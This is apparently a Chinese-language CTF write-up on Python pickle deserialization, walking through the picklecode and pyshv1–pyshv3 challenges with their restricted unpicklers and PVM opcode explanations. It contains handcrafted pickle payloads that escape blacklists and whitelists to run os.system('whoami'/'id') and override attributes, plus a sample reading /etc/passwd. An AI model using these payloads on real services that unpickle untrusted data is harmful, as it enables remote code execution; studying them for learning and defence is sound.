从几道题目学习python反序列化 个人认为,python不管是ssti,反序列化都是围绕模块进行展开的,万变不离其宗。沙箱绕过的核心思想是,在给定的模块中,理解对象于对象之前的关系,挖掘模块中存在的可用方法,通过overrides,fuzz等方法,换种手法获取我们想要的模块及方法,绕过沙箱的限制。
picklecode Reference: phithon
利用格式化字符串漏洞获取key,我就跳过了,这里主要记录python序列化的部分。
serialize.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickleimport ioimport builtins__all__ = ('PickleSerializer' , ) class RestrictedUnpickler (pickle.Unpickler) : blacklist = {'eval' , 'exec' , 'execfile' , 'compile' , 'open' , 'input' , '__import__' , 'exit' } def find_class (self, module, name) : if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
这里利用RestrictedUnpickler
这个类作为序列化时使用的过程类,并且利用黑名单方式,过滤了一些模块、方法,限定了只能用builtins
模块,这个模块,是所有模块共用的一个字典 。
思路:
1 2 3 __builtins__.getattr(__builtins__.dict,'get' ) dict.get(__builtins__.globals(),"builtins" )//拿到builtins __builtins__.getattr(dict.get(__builtins__.globals(),"builtins" ),"eval" )('__import__("os").system("whoami")' )
PVM操作码:
c: 引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
(: 压入一个标志到栈中,表示元组的开始位置
0: 弹出栈项的元素并丢弃
t: 从栈顶开始,找到最上面的一个(,并将(到t中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
R: 从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
p: 将栈顶的元素存储到memo(标签区)中,p后面跟一个数字,就是表示这个元素在memo中的索引
g :把memo的第n个位置的元素复制到栈顶
V、S: 向栈顶压入一个(unicode)字符串
s : 从栈顶弹出三个元素,一个字典,一个键名字,一个键值,把键名:键值添加进字典,然后把字典压入栈顶
. : 表示整个程序结束
反序列流程:
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
例如,序列化后的字符串:
1 2 3 4 c__builtin__ file (S'/etc/passwd' tR
开始的 c 代表引入模块以及对象:__builtin__.file
接着( 表示在栈中放入一个元组开始的标志
然后 S 表示向栈插入一个字符串:/etc/passwd
再然后 t 表示从栈顶开始,到第一个 ( 标记中间的内容弹出,组成一个元组,再压入栈中
最后 R 表示从栈顶弹出两个元素,一个是可执行对象,一个是元组。元组作为可执行对象的参数列表,执行后结果压入栈上。这里执行的是: __builtin__.file('/etc/passwd')
不要忘记,在程序最后要有一个操作符 . 表示整个程序结束
构造 opcode :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals (tRS'builtins' tRp1 cbuiltins getattr (g1 S'eval' tR(S'__import__("os").system("id")' tR.
pyshv1 Reference: smi1e
server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import securePickle as pickleimport codecspickle.whitelist.append('sys' ) class Pysh (object) : def __init__ (self) : self.login() self.cmds = {} def login (self) : user = input().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self) : while True : req = input('$ ' ) func = self.cmds.get(req, None ) if func is None : print('pysh: ' + req + ': command not found' ) else : func() if __name__ == '__main__' : pysh = Pysh() pysh.run()
securePickle.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s) : """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
这里采用了python提供的RestrictedUnpickler
类作为反序列化类,重写 find_class
,允许使用的模块只有 sys
,而且pickle.unpickler.find_class
也是依赖sys.modules
所以我们最终调用的是getattr(sys.modules['sys'],name)
,因此我们的思路是将sys.modules['sys']
变成我们需要的模块。sys.modules
是一个字典,包含从python开始运行起被导入的所有模块。所以我们可以构造:
1 2 3 4 5 6 modules=sys.modules sys.modules['sys' ]=sys.modules import sysmodules['sys' ]=sys.get('os' ) import syssys.system('whoami' )
构造 opcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 csys modules p1 0 g1S'sys' g1 scsys get (S'os' tRp2 0 S'sys' g2 scsys system (S'whoami' tR.
pyshv2 server.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import securePickle as pickleimport codecspickle.whitelist.append('structs' ) class Pysh (object) : def __init__ (self) : self.login() self.cmds = { 'help' : self.cmd_help, 'flag' : self.cmd_flag, } def login (self) : user = input().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ" ) def run (self) : while True : req = input('$ ' ) func = self.cmds.get(req, None ) if func is None : print('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self) : print('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_su (self) : print("Not Implemented QAQ" ) def cmd_flag (self) : print("Not Implemented QAQ" ) if __name__ == '__main__' : pysh = Pysh() pysh.run()
securePickle.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) module = __import__(module) return getattr(module, name) def loads (s) : """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
structs.py
是空的
v2与v1的区别是这里只能导入structs
模块,并且都由__import__
导入。
这里可以发现,__import__
字典,__builtins__
的一个内置函数。
因此我们可以通过structs.__builtins__
来重写__import__
这里的思路是,将__import__
改为 structs.__getattribute__
,将__builtins__
改为__builtins__
这样执行 __import__('structs')
就可以获得__builtins__
模块调用我们想要的函数了。
1 2 3 4 5 6 from structs import __dict__from structs import __builtins__from structs import __getattribute____builtins__['__import__' ] = __getattribute__ __dict__['structs' ] = __builtins__ __import__('structs' )['eval' ]('print("success")' )
同样,构造 opcode
,但是这个的__builtins__
是一个字典,想要拿到eval
需要使用dict.get
获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 cstructs __dict__ p1 0 cstructs__builtins__ p2 0 cstructs__getattribute__ p3 0 g2S'__import__' g3 sg1 S'structs' g2 scstructs get p4 (S'eval' tR(S'print("success")' tR.
pyshv3 server.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import securePickle as pickleimport codecsimport ospickle.whitelist.append('structs' ) class Pysh (object) : def __init__ (self) : self.key = os.urandom(100 ) self.login() self.cmds = { 'help' : self.cmd_help, 'whoami' : self.cmd_whoami, 'su' : self.cmd_su, 'flag' : self.cmd_flag, } def login (self) : with open('../flag.txt' , 'rb' ) as f: flag = f.read() flag = bytes(a ^ b for a, b in zip(self.key, flag)) user = input().encode('ascii' ) user = codecs.decode(user, 'base64' ) user = pickle.loads(user) print('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user def run (self) : while True : req = input('$ ' ) func = self.cmds.get(req, None ) if func is None : print('pysh: ' + req + ': command not found' ) else : func() def cmd_help (self) : print('Available commands: ' + ' ' .join(self.cmds.keys())) def cmd_whoami (self) : print(self.user.name, self.user.group) def cmd_su (self) : print("Not Implemented QAQ" ) def cmd_flag (self) : if not self.user.privileged: print('flag: Permission denied' ) else : print(bytes(a ^ b for a, b in zip(self.user.flag, self.key))) if __name__ == '__main__' : pysh = Pysh() pysh.run()
securePickle.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickleimport iowhitelist = [] class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module not in whitelist or '.' in name: raise KeyError('The pickle is spoilt :(' ) return pickle.Unpickler.find_class(self, module, name) def loads (s) : """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() dumps = pickle.dumps
structs.py:
1 2 3 4 5 6 class User (object) : def __init__ (self, name, group) : self.name = name self.group = group self.isadmin = 0 self.prompt = ''
这里的structs.py
多了一个User
类,可导入模块还是structs
,但他只提供了whoami
,flag
,su
几个命令,在server.py
中可以看到获得flag
的前提是privileged=true
,但是对象在反序列化之后,privileged
被赋值为false
这里思路是利用python描述器:
例如:
这里重载了User
类的__set__
方法, 将User
实例赋值给User
类的privileged
属性,所以当我们对 a.privileged
赋值时,就会出发set
方法,这里 set
方法赋值给User
,所以a.privileged
并不会被赋值
构造opcode
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 cstructs User p0 (N}S"__set__" g0 stbg0 (S"guess" S"guess" tRp1 g0 (N}S"privileged" g1 stbg1 .
后记 断断续续的,花了一些时间接触了一个全新的知识,学到了很多。